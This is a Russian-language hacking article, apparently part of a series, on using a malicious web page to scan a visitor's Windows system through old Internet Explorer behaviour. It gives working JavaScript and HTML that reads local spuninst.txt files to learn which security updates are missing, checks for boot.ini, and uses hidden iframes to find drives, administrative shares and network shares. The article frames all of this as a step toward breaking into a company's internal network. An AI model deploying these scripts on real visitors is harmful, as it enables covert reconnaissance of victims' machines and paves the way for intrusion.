Начало этой статьи ты можешь прочитать
тут: Взлом Web
2.0: проникновение в Intranet, сканирование
системы №1

 

Windows Updates

Как же использовать эту технику, чтобы определить установленные обновления системы? Да, мы снова будем читать локальные файлы. На этот раз из директории Windows.

Ради интереса можете зайти в директорию
Windows. Думаю, вы замечали там директории $NtUninstallKBXXXXXX$, где ХХХХХХ – идентификатор обновления. Это системные директории и используются для отката обновлений. Каждый раз, обновляя систему, создаются резервные копии заменяемых файлов вместе с информацией об их изначальном местоположении. Эта информация хранится в поддиректории spuninst в файле
spuninst.txt:

[Windows Directory]\$NtUninstallKB[Update ID]$\spuninst\spuninst.txt

Так может выглядеть содержимое spuninst.txt:

COPY "C:\WINDOWS\$NtUninstallKB892313$\wmp.dll" "c:\windows\system32\wmp.dll" 
DEL "c:\windows\system32\windowspowershell\v1.0\help.format.ps1xml"

Как видите, используемый формат не подходит для интерпретации JavaScript-модулем. Зато он подходит для интерпретатора “Visual Basic”. В случае, когда файл состоит из одних только DEL-команд, его можно прочитать из скрипта. В случае с
COPY нам не хватает запятой между аргументами. Вот как может выглядеть код для проверки обновлений:

<body>
<script language="javascript">
// реагируем на ошибки
window.onerror = function( text, file, line )
{
	if(line != 2) // если ошибка не в первой строке,
	updateStatus.installed = true; // обновление установлено
};
// Прописываем директорию windows
var windowsDirectory = "C:/WINDOWS";
// маска пути к информационному файлу
var windowsUpdatePath = 
"file:///WindowsDirectory/$NtUninstallKBUpdateId$/spuninst/spuninst.txt";
// строим путь по маске и номеру
function getUpdateProfilePath( updateId )
{
	return windowsUpdatePath
	.replace(/WindowsDirectory/ig, windowsDirectory )
	.replace( /UpdateId/ig, updateId );
}
// пустышки
function COPY( source, destination ){};
function DEL( source ){/* здесь можно составлять список */};
var updateStatus = { KB: 0, installed: false };
// Загрузить профайл
function loadUpdateProfile( updateId )
{
	updateStatus = { KB: updateId, installed: false };
	// грузим через скрипт
	var loader     = document.createElement('script');
	loader.language ='vbscript';
	loader.src     = getUpdateProfilePath( updateStatus.KB );
	document.body.appendChild(loader);
}
function getUpdateStatus( updateId )
{
	loadUpdateProfile( updateId );
	window.setTimeout( 
	function() // ведем лог: (вот почему лучше replace )
	{	kb_log.innerText += 
		( '\n KB-'+updateStatus.KB+' is'
		+(updateStatus.installed?' ':' not ')+'installed' );
	}	// нифига не понятно 
	,1000);
	}
</script>
KB<input type=text value="926140" id="kb_id">
<button onclick="getUpdateStatus(kb_id.value)"> get status </button>
<br> 
<textarea id=kb_log></textarea>
<div id=kb_loader></div>
</body>

Ну вот, такой нехитрый скрипт. Вводите идентификатор обновления и получаете его статус. На этот раз мы используем информацию об ошибке, чтобы определить существование файла. Дело в том, что если файл не существует, текст ошибки будет отличаться от варианта, когда он все-таки есть, но не является синтаксически верным.

Добавьте еще один цикл и вы успешно проверите наличие большего количества обновлений. Если у вас нет желания перебирать полный список, можете выделить набор из самых опасных уязвимостей. После чего произвести проверку на наличие соответствующих им обновлений. 

Казалось бы - чего еще надо, но этот скрипт имеет один недостаток, в нем жестко прописана директория Windows. Не исключено, что она будет именно такой, просто обратное тоже неоспоримо.

 

Директория Windows

Если хакер не знает наверняка о расположении системы, ему может понадобиться непристойное количество времени для его поиска. Дело в том, что кроме имени директории, под сомнением также диск С:\, у многих пользователей ОС установлена на другом диске. Поэтому первое, что мы будем определять – это информацию о существующих дисках. И уже только после этого подбирать директорию.

Вероятнее всего, система будет размещена на активном разделе. Хоть мы и не можем получить технические сведения о существующих разделах, активный раздел обладает одной отличительной чертой. Он является загрузочным. Поэтому наличие на нем файла boot.ini существенно умножает шансы на успех. Опять-таки, определять существование файла можно, исходя из кода ошибки: Предполагается наличие “]”.

Если она возникает, значит, файл найден. Такую закономерность легко объяснить, если посмотреть на сам файл:

  1. [boot loader]
  2. timeout=30
  3. default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
  4. ...

Явно, что первая строка, синтаксически неверна. Пробела в этом месте быть не может. Таким образом, проверка на существование файла - дело нескольких строк:

<script>
window.onerror = function( text )
{ 
	if(text.indexOf("]") >=0 )
	alert("boot.ini found");
};
</script>
<script src="file://c:/boot.ini"></script>

Другие косвенные улики, помогающие найти раздел с операционной системой – проверять существование директорий «Documents and Settings» или «Program Files». Хоть и их можно переопределить, рядовые пользователи крайне редко используют такую возможность. С другой стороны, директория не может быть источником для загрузки скрипта, здесь надо кое-что другое...

На сей раз воспользуемся фреймами и печально известной «Same-Origin Policy». Именно ее существование и поможет нам определить существование директории. Вот простенький пример:

<iframe src="file:///c:/Documents and Settings/" onload="alert(‘c’)"></iframe>
<iframe src="file:///d:/Documents and Settings/" onload="alert(‘d’)"></iframe>

Объясню, как он работает. Если мы ссылаемся во фрейме на директорию, существует 2-а варианта развития сюжета, в зависимости от того, существует она в действительности или нет. Если директория существует и загружается во фрейм, автоматически срабатывает «Same-Origin Policy» и блокирует нам доступ к его содержимому. Обработчик события onload, соответственно, тоже блокируется и он никогда не исполниться. В то же время отсутствие директории означает, что вместо ее содержимого будет загружена стандартная страничка ошибки:

А. file:///c:/Documents and Settings/
В. res://shdoclc.dll/dnserror.htm

Во втором варианте мы не нарушаем политику безопасности, поскольку в результате получаем стандартное сообщение об ошибке. Самое интересное, что при этом обработчик
onload остается активным. Исходя из всего этого, уже не является сложным написание соответствующего скрипта:

<style>
iframe /* прячем фреймы */
{
	width      : 0px;
	height     : 0px;
	visibility : hidden;
}
</style>

<script>
// изначально считаем, что директория есть на всех дисках:
var drive = { c:1, d:1, ..., z:1 };
// просмотр результатов
function getResults()
{
// по всем дискам
	for(d in drive)
	if( drive[d] == 1 ) // если статус остался 1 – папка найдена
	alert('Found directory  '+d+':\\Documents and Settings');
}
// на все про все 5 сек.
window.setTimeout( getResults, 5000 );
</script>

// закидываем удочки, если срабатывает onload, это не тот диск
<iframe src="file:///c:/Documents and Settings/" onload="drive.c=0"></iframe>
<iframe src="file:///d:/Documents and Settings/" onload="drive.d=0"></iframe>
...
<iframe src="file:///h:/Documents and Settings/" onload="drive.z=0"></iframe>

Все, что осталось, это подбирать имя самой директории Windows. Оставлю реализацию на самостоятельную работу. Помните, вы можете производить сканирование как с помощью script.src (проверять наличие стандартного системного файла), так и iframe.src (указывающий на предполагаемое название директории Windows). Также стоит заметить, что побуквенный перебор - неоправданное занятие. Лучшее из решений - это проверка из конкретного списка возможных директорий (по словарю).

Отлично, но мы не должны в обязательном порядке проверять все диски. Вполне вероятно, что многие из них даже не существуют. И вообще, бывают еще
Сетевые диски.

 

Определение разделов

Мы можем собрать информацию о существующих дисках в системе. Для проверки разделов используется уже описанный ранее метод – через фреймы. Но в этот раз мы расширим функциональность скрипта и попытаемся находить сетевые диски, открытый доступ и административные шары.

В процессе сканирования будем использовать три типа обращения к диску (локальные и два вида сетевых):

1. file:///с:/ 
2. file://///127.0.0.1/с$/
3. file://///127.0.0.1/с/

Итак, у нас есть три теста по каждому диску. 

  1. После первого теста мы определяем все существующие в системе диски. 
  2. Второй тест проверяет его административную шару. Сетевые диски ее не имеют, а локальные да. Стоит сразу сделать оговорку, что сетевые диски можно идентифицировать только тогда, когда клиент является локальным администратором.
  3. И последняя проверка - на открытый доступ к диску (если имя общего доступа не изменялось пользователем).

Ну что, поехали. Я не стал особо мудрить, вот минимально простой сканнер дисков:

<body>

<div id="out_log"></div>

<script>
//  это список дисков, здесь будут все результаты
window.Drives = new Array(); 
//  здесь перебираются все варианты:
function getLocationTest(letter)
{
	//  смотрим, на каком мы этапе
	var status = window.Drives[letter].processingStatus;
	//  соответственно, выбираем следующий:
	//   - Просто проверка диска
	if(status==0) locationValue = 'file:///'+letter+':/';
	//   - проверка административного доступа
	if(status==2) locationValue = 'file://///127.0.0.1/'+letter+'$/';
	//   - самая обычная шара
	if(status==4) locationValue = 'file://///127.0.0.1/'+letter+'/';
	//  обновляем информацию
	eval('drive_'+letter+status).location = locationValue;
	//  сбрасываем флаг результата
	window.Drives[letter].onloadExecuted = false;
}
//  здесь сохраняются результаты
function saveLocationTest(letter)
{
	var status = window.Drives[letter].processingStatus;
	//  соответствующие названия тестов
	if(status==1) locationAlias = 'network';
	if(status==3) locationAlias = 'local';
	if(status==5) locationAlias = 'shared';
	// диск найден, если флаг onload установлен в false
	window.Drives[letter][locationAlias] = 
	!window.Drives[letter].onloadExecuted;
}
//  здесь мы переходим от этапа к этапу:
function nextProcessingStatus( callback,letter, timeout )
{
	var status = window.Drives[letter].processingStatus;
	if(status==0) getLocationTest(letter);
	if(status==2) getLocationTest(letter);
	if(status==4) getLocationTest(letter);

	if(status==1) saveLocationTest(letter);
	if(status==3) saveLocationTest(letter);
	if(status==5) saveLocationTest(letter);

	window.Drives[letter].processingStatus++;
	getDriveStatus( callback, letter, timeout );
}
//  это функция генерации тестовых фреймов
function getDriveStatus( callback, letter, timeout )
{
	//  если мы уже на 6-м этапе – это конец
	if( window.Drives[letter] != null 
	&& window.Drives[letter].processingStatus == 6 
) 

return callback(letter); // возвращаем результаты
//  если диск еще не проверялся, создаем ОСНОВНУЮ структуру:
if( typeof(window.Drives[letter]) == 'undefined' ) 
window.Drives[letter] = 
	{ 
	  processingStatus 	: 0
	, onloadExecuted	 	: false
	, local			: false
	, network			: false
	, shared			: false
	};
// выбираем контейнер, в котором будут генериться фреймы
var domFrameContainer = document.getElementById('frameContainer');
if( !domFrameContainer )
{
	domFrameContainer    = document.createElement('div');
	domFrameContainer.id = 'frameContainer';
	document.body.appendChild(domFrameContainer);
}
// это ХТМЛ-код вставляемого фрейма:
var htmlFrameCode = 
'<iframe style="visibility:hidden;position:absolute"id=drive_'
+letter
+window.Drives[letter].processingStatus
+' onload="window.Drives[\''+letter+'\'].onloadExecuted=true;’
+’" src="blank.html"></iframe>';

var status = window.Drives[letter].processingStatus;
// если это 0/2/4–й этап, создаем новый фрейм:

if(status==0) domFrameContainer.innerHTML += htmlFrameCode;
if(status==2) domFrameContainer.innerHTML += htmlFrameCode;
if(status==4) domFrameContainer.innerHTML += htmlFrameCode;

// ждем результатов 

window.setTimeout( 
	function(){ nextProcessingStatus( callback,letter, timeout );}
	, timeout ); 
};
// это код буквы «С», в этой переменной мы храним букву последнего
// сканируемого диска
var last_drive_letterCode = 0x63;
function demo(letter)
{
	var drive = window.Drives[letter];
	// если диск хоть какой-то, выводим информацию про него
	if(drive.local || drive.network || drive.shared)
		out_log.innerText+=
	(
	letter + ' - '
	+ (drive.local?'local':'')+ ' '
	+ (drive.network?'network':'') + ' '
	+ (drive.shared?'shared':'') +'\n '
	);
	// ( иначе его просто нет )
	// если буквы закончились, пора остановиться:
	if(last_drive_letterCode<0x7B) 
	getDriveStatus( demo, (String.fromCharCode(last_drive_letterCode++)),1000 );
};
// СТАРТУЕМ!
getDriveStatus( demo, ‘c’,1000 );
</script>
</body>
 

Заключение

Как видите, обычная веб-страница может стать намного опаснее, чем вы ранее предполагали. Чтобы защититься, есть только один выход – запуск Браузера из ограниченной учетной записи (можно с помощью runas). Но об этом, и не только, мы поговорим в следующий раз. Ждите, мы будем искать имя пользователя, проверять его права в системе, попробуем узнать его ICQ, и, в конце концов, вернемся к его сети. Вы ведь не забыли, что наша цель - это внутренняя сеть компании?

Примеры

Подписаться
Уведомить о
0 комментариев
Межтекстовые Отзывы
Посмотреть все комментарии